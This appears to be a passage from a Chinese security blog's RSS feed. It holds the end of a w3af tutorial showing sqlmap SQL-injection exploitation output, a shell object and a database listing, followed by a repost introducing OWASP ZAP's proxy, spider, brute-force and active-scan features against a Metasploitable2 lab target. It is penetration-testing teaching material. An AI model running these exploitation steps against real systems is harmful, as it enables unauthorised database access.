//使用sqlmap进行SQL注入漏洞的测试
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;---
Trying to exploit using vulnerability with id: [1010, 1011]. Please wait...
Vulnerability successfully exploited. This is a list of available shells and proxies:
- [0] &amp;lt;sql object ( dbms: &quot;MySQL &amp;gt;= 5.0.0&quot; | ruser: &quot;root@localhost&quot; )&amp;gt;
Please use the interact command to interact with the shell objects.
---
//测试存在SQL注入漏洞
//这里要记住shell objects(这里是0),等一下要用到
0x07 漏洞利用
w3af/exploit&amp;gt;&amp;gt;&amp;gt; interact 0
//interact + shell object就可以利用了

---
Execute &quot;exit&quot; to get out of the remote shell. Commands typed in this menu will be run through the sqlmap shell
w3af/exploit/sqlmap-0&amp;gt;&amp;gt;&amp;gt; 
---
//sqlmap的一个交互式模块

w3af/exploit/sqlmap-0&amp;gt;&amp;gt;&amp;gt; dbs   

---
Available databases:  [3]:
[*] information_schema
[*] members
[*] mysql
---
//成功获得数据库信息
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>Misc</category></item><item><title>ZAP 介绍</title><link>https://www.sulinehk.com/post/zap-introduction/</link><guid isPermaLink="true">https://www.sulinehk.com/post/zap-introduction/</guid><description>ZAP 介绍</description><pubDate>Mon, 20 Aug 2012 13:36:30 GMT</pubDate><content:encoded>&lt;p&gt;本文为 2012 年在 &lt;a href=&quot;https://www.freebuf.com/&quot;&gt;FreeBuf&lt;/a&gt; 发表的文章，原地址为：&lt;a href=&quot;https://www.freebuf.com/sectool/5427.html&quot;&gt;ZAP 介绍&lt;/a&gt;。以下内容除了将图片转换为 WebP 外均无修改。&lt;/p&gt;
&lt;p&gt;感谢&lt;a href=&quot;http://linehk.blog.com/&quot;&gt;Line&lt;/a&gt;投递，转载请注明出处！&lt;/p&gt;
&lt;p&gt;Zed Attack Proxy简写为&lt;a href=&quot;http://www.freebuf.com/sectool/103803.html&quot;&gt;ZAP&lt;/a&gt;，是一个简单易用的&lt;a href=&quot;http://www.freebuf.com/sectool/96574.html&quot;&gt;渗透测试工具&lt;/a&gt;，是发现Web应用中的漏洞的利器，更是渗透测试爱好者的好东西。&lt;/p&gt;
&lt;p&gt;ZAP下载地址：&lt;a href=&quot;https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&quot;&gt;https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;ZAP中国：&lt;a href=&quot;http://www.owasp.org.cn/&quot;&gt;http://www.owasp.org.cn/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;BackTrack5R3中集成了ZAP，下面我来演示了一下ZAP的简单实用。&lt;/p&gt;
&lt;p&gt;打开方式：&lt;/p&gt;
&lt;p&gt;1、&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /pentest/web/owasp-zap
./zap.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2、&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Applications|BackTrack|Vulnerability Assessment|Web Application Assessment|Web Vulnerability Scanners|owasp-zap
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用方法：&lt;/p&gt;
&lt;p&gt;1.设置&lt;/p&gt;
&lt;p&gt;ZAP像Burp suite一样使用代理的方式来截取网站。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;在Tools|Local proxy中设置相关选项。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;默认已经设置好了，如果端口冲突就自己改。&lt;/p&gt;
&lt;p&gt;在Firefox中设置代理。&lt;/p&gt;
&lt;p&gt;Edit|Preferences|Advanced|Network|Setting&lt;/p&gt;
&lt;p&gt;选择Manual proxy configuration单选项。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;浏览目标机器，这里使用Metasploitable2来示例。&lt;/p&gt;
&lt;p&gt;用Firefox访问后，在ZAP中出现了Sites。&lt;/p&gt;
&lt;p&gt;2.Spider site&lt;/p&gt;
&lt;p&gt;右键选择Attack|Spider site&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;扫描要很久，因为是示例所以就先停了。&lt;/p&gt;
&lt;p&gt;3.Brute Force&lt;/p&gt;
&lt;p&gt;在Site选择目标，在List中选择字典。有big medium small等类型的字典。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;4.Port Scanner&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;虽然扫描速度很快，但是不够Nmap准确。&lt;/p&gt;
&lt;p&gt;5.Active Scan&lt;/p&gt;
&lt;p&gt;主动扫描是ZAP最强大的功能之一。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;6.Alerts&lt;/p&gt;
&lt;p&gt;扫描出来的漏洞就在这里了。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;7.插件&lt;/p&gt;
&lt;p&gt;待续&lt;/p&gt;
</content:encoded><category>Misc</category></item></channel></rss>